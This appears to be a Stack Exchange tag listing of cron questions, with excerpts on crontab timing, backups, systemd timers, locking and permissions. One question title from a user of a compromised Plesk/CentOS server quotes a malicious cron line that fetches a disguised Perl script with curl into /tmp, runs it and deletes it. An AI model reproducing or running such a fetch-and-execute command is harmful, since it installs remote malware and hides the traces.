Cron is a job scheduler that allows users to run commands periodically.

learn more… | top users | synonyms (1)

-1
votes
0answers
18 views

Cron job running every minute when it shouldn't [on hold]

I have the following cron entry * 07 * * 1-5 /path/to/script.pl The idea is that the script runs at 7:00 AM on Monday to Friday. However, it starts running at 7:00 AM and then runs every minute ...
1
vote
1answer
21 views

My backup_system.sh file didn't run under crontab

So i created a script used to backup system, i tested and it worked. Here's the script: #!/bin/bash backup_files="/home /var/spool/mail /etc /root /boot /opt" dest="/mnt/backup" day=$(date +%F) ...
1
vote
0answers
16 views

Minecraft acting differently when started from terminal compared to started by cron job at start-up

So I use a CentOS Linux 7.2.1511 server, where I host a couple of things, amongst them a Minecraft server. Since from time to time server is rebooted I scheduled a cron job to run minecraft server on ...
0
votes
1answer
1k views

openSuse, not running the cron job

I have created a cron job in the /etc/cron.d/dispatchingEmail_I the permissions of dispatchingEmail_I are the following: -rw-r--r-- 1 root root 84 Sep 11 19:52 dispatchingEmail_I content of ...
1
vote
2answers
17 views

Get owner / user of a cronjob

In Linux (Mint / Ubuntu), I can create cronjobs for each user individually. Is there any way, I can find out the name of the user against whome the cronjob is running. I want to get the username of ...
1
vote
1answer
30 views

Get a list of all scripts and their paths which are run as cron job

I am looking for some script or terminal command to list all the scripts (preferably with their paths) which are run on a periodic basis by cron, cron.daily. I am not looking for any filter for ...
3
votes
2answers
934 views

Use /etc/aliases for outgoing mail relayed by postfix with local domain

I'm using Ubuntu 12.04 with postfix configured as satellite system that relays outgoing mail to Gmail. For sake of example, my registered domain is example.com I want root cronjobs' error output to be ...
1
vote
1answer
38 views

launch process foreground on boot

I know how to launch programs in the background with cron on boot or at certain intervals, but in this case, I want to launch a python script in the foreground, automatically when the computer starts, ...
-1
votes
0answers
19 views

anacron — First daily boot > BackInTime

I'm seeing anacron at class and I didn't really undestood it so much. Now I have an exercise to execute a Back up at BackInTime 5 mins later of the first daily boot. How can I accomplish that?
1
vote
1answer
21 views

Crontab and NMCLI

I have created a script called connection.sh, it is used to automatically connect to my vpn : #!/bin/bash nmcli connection up MyVPN I have already tested it, and it works if I launch it manually, ...
1
vote
2answers
47 views

Where are my lost cron jobs?

I am trying to port the code over to a new server hosted somewhere else, and I want to know what cron jobs are running on the old box. Where can I find these? crontab -l SHELL="/bin/bash" 0 0,6 * * ...
0
votes
1answer
11 views

Custom scripts under /etc/profile.d and /etc/init.d - rhel6 and rhel7

I need to start my script during boot time. I have read that the scripts under /etc/init.d & /etc/profile.d are sourced during system startup. How different are these directories? Other than the ...
1
vote
3answers
11k views

crontab error with (No MTA installed) but I use >/dev/null 2>&1

I'm new on linux user I try to run crontab to backup my database with vagrant user * * * * * /usr/bin/mysqldump -h localhost -u root -p root mydb | gzip > /var/backup/all/database_`date ...
5
votes
2answers
22k views

What are the runtime permissions of a cron job?

When a cron job runs with what privilege does it execute? I'm not sure about that. Is it with the same privileges of the user that added it via crontab -e?
8
votes
3answers
5k views

Crontab entry with hour range going over midnight

Is this valid crontab time specification, doing what is expected: 0 22-4 * * * Or is it necessary to do something like 0 22,23,0,1,2,3,4 * * *
0
votes
2answers
396 views

Crontab does not work properly in Ubuntu

I am learning how to use cron. I wrote some simple code in my crontab # m h dom mon dow command */1 * * * * echo "1 minute"> ~/Document/cronoutput I expected it to print the words every ...
0
votes
2answers
29 views

Does cron execute jobs asynchronously?

If I add 5 jobs in my crontab, do they execute asynchronously in parallel ? Two of my jobs may take 10 minutes to complete and I want to know if I need to run them in the background (by adding the ...
0
votes
4answers
55 views

Ensure that cron daemon stays running

If on a debian 7 server (wheezy) running in a hosted VM and an up-to-date cron daemon there is a bug so cron stopped running without obvious reason. Since this only happened once ever since, it is ...
0
votes
1answer
15 views

cross-reboot monotonic systemd timer

The timer functionality of systemd includes monotonic timers, which measure time in real uptime since some starting point after boot. This means that after a boot, the service triggered by the timer ...
1
vote
1answer
59 views

Two cronjobs not working (one to start a process, one to stop a process)

I typed the following into crontab -e 0 0 * * * bitcoind -datadir=/home/pi/bitcoinData -daemon 0 6 * * * bitcoin-cli -datadir=/home/pi/bitcoinData stop I expect this to run bitcoind ...
10
votes
8answers
5k views

cron Vs. sleep - which is the better one in terms of efficient cpu/memory utilization?

The Case: I need to run some commands/script at certain intervals of time and for this I have two options: set up a cron-job implement a loop with sleep in the script itself. Question: Which is ...
4
votes
5answers
2k views

nginx logrotate error on cron job

I'm running Ubuntu 14.04 LTS and nginx on a Digital Ocean VPS and occasionally receive these emails about a failed cron job: Subject Cron test -x /usr/sbin/anacron || ( cd / && run-parts ...
0
votes
2answers
46 views

Cron Job: Redirecting shell script output to a file

Just an one line shell script below not working as a cron job but executing directly from terminal works fine: #!/bin/bash echo "Executed" >> ./crond.log 2>&1 What might be the ...
2
votes
1answer
788 views

Check for process already running in webfaction?

I use Django framework on webfaction and have 5 different cron jobs. One of them lasts much longer than others and sometimes gets stuck (30-120 seconds or more). I have already set that cron job to ...
0
votes
1answer
37 views

How to run a script outside of home directory via cron

I have a script located at /home/user/backup.sh I'm trying to execute this script via my root crontab. It isn't running. The script works if I create the crontab under my user account. Is there ...
0
votes
0answers
30 views

Default crontab that executes cron.(hourly|daily|weekly|monthly)

I have to build a crontab that will execute (with run-parts) any script located in the standard /etc/cron.(hourly|daily|weekly|monthly) folders. I have never done this before. Does this look ...
-5
votes
1answer
56 views

Shell script to delete logs when the disk space reaches 90%

I need help to develop a shell script to delete the logs automatically once the disk space reaches 90%. I can add this shell script to crontab jobs.
1
vote
3answers
92 views

add text on line before match

Trying to add text on the line before that it find the match (updateKey.sh) in this case, but won't get it to work. Here is my crontab file that the script adds the line to 0 06,18 * * * ...
46
votes
11answers
33k views

Correct locking in shell scripts?

Sometimes you have to make sure that only one instance of a shell script is running at the same time. For example a cron job which is executed via crond that does not provide locking on its own (e.g. ...
-2
votes
2answers
38 views

Why does running a Cron Job as root stop the sshd service and disallows login for other users?

I have a script for getting Clamav updates from another server which I run as a Cron job as root. Also, I have root login disabled for /sbin/nologin. But this has serious implications on the system as ...
6
votes
5answers
1k views

Change the time zone of a cronjob

I have a cronjob which is executes every day at 9:00 AM of UTC-Time. I'm in GMT+1 so it executes at 10:00 AM local time. When there is the timezone change (to daylight saving time, DST), the cronjob ...
12
votes
1answer
175 views

Cron vs systemd timers

[NOTE: The intent of this question is to help people evaluate whether systemd timers would be a good choice for their job timing needs. Many (most?) people are probably using cron, but maybe some are ...
0
votes
1answer
42 views

CRON: pam_unix(cron:session): session opened for user root by (uid=0): Is it a must have process?

This post is somewhat similar but mine is rather specific. CRON: pam_unix(cron:session): session opened for user root by (uid=0) Is this really a bug? In our system this process is creating ...
0
votes
0answers
21 views

cron job quit working after latest apt-get upgrade

I've been running a cron job every 15 minutes for years, with few problems. Sometime in the last week, it quit running, I'm assuming after a apt-get upgrade && apt-get dist-upgrade. I was ...
2
votes
1answer
1k views

fstab mount, boot stuck on “A start job is running for dev-disk-by\…”

I am running debian 8.1 and working on this for hours now! I try to auto mount seagate and medion on boot if they are plugged in, but if the server is booting without one of these LABELs it stucks ...
13
votes
7answers
23k views

How to restart the Python script automatically if it is killed or dies

I am running my Python script in the background in my Ubuntu machine (12.04) like this - nohup python testing.py > test.out & Now, it might be possible that at some stage my above Python ...
3
votes
1answer
35 views

Why am I seeing much more cron jobs in webmin than in `crontab -e`?

I am just starting to learn cron jobs. Basically I am going to use webmin to manage my cron jobs, I am also reading some basic information about cron jobs. So far I've learned that /etc/crontab ...
0
votes
1answer
38 views

Crontab: Why won't it execute script

So in the past I just did a simple shutdown crontab, and that was it. Lately, I want to do something a bit more complex, so I'm trying to get it to run a script. Right now I've boiled it down to a ...
1
vote
1answer
50 views

How to build cron docker image properly?

I am trying to build Debian-based image to dockerize cron process, but my cron jobs are never started. Here is my Dockerfile: FROM debian:jessie RUN apt-get update && apt-get install -y ...
0
votes
1answer
33 views

Cron stopped logging to /var/log/cron.log

A month ago I set cron to log to /var/log/cron.log by modifying /etc/rsyslog.d/50-default.conf. Logging worked great until I changed permissions on /var/log (by easing permission restrictions), and ...
0
votes
1answer
54 views

Cannot Bash chgrp GROUP /home/*/SOMEFILE/ How to do it?

So am setting a code that will change group owner of the file to a specific group. PS there are more than 10 users, with same folder and file structure, and i want change the ownership of a specific ...
1
vote
0answers
13 views

Using crontab to start redshift on boot? [duplicate]

I am using crontab to start redshift on boot. @reboot /usr/bin/redshift is showing from crontab -l. My redshift.conf is configured properly and invoking redshift works from the command line. Also ...
2
votes
0answers
161 views

How to overcome this error when running a script in crontab?

This is basically my script. #!/bin/sh #set -x ...
0
votes
1answer
33 views

Accumulating sendmail processes

I've been having an issue where I'll see many instances of a particular process: /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t I've done a bit of reading and it seems like the processes are ...
-1
votes
1answer
272 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
16
votes
2answers
731 views

Does crond handles summer time +1 hour change?

Last weekend we had to change the time from 02:00 to 03:00. Question: What would happen if there was a cronjob at 02:30? crond is a very old solution for scheduling, it should probably handle it, ...
3
votes
1answer
629 views

How do I push a Mercurial repository to BitBucket over ssh? [closed]

I created a public key for ssh and registered that key with BitBucket. I then attempted to push: $ hg push ssh://jhayward@bitbucket.org/johncharrell/[project name] pushing to ...
0
votes
1answer
25 views

cron not working with commands symlinked in custom PATH

I have a script job.sh in /home/user/scripts, which is then symlinked to /home/user/bin/job. The custom binaries path has been included in .bashrc, so whenever I issue the command job param1 etc from ...
1
vote
4answers
115 views

Dangers of using rm command with variables

I am creating a crontab that compresses 15 minute clips from my security camera into one file (24 Hours Long) and then having the clips delete. avimerge -o /media/jmartin/Cams/video/Full_$(date +%F ...
2
votes
3answers
308 views

Cron job working, but crontab -l says no jobs

I am running Raspbian on a Pi and installed cron to schedule a job. I wrote a Python script and I set it to run every 5 minutes. The job is happening every 5 minutes, no problems, but when I run ...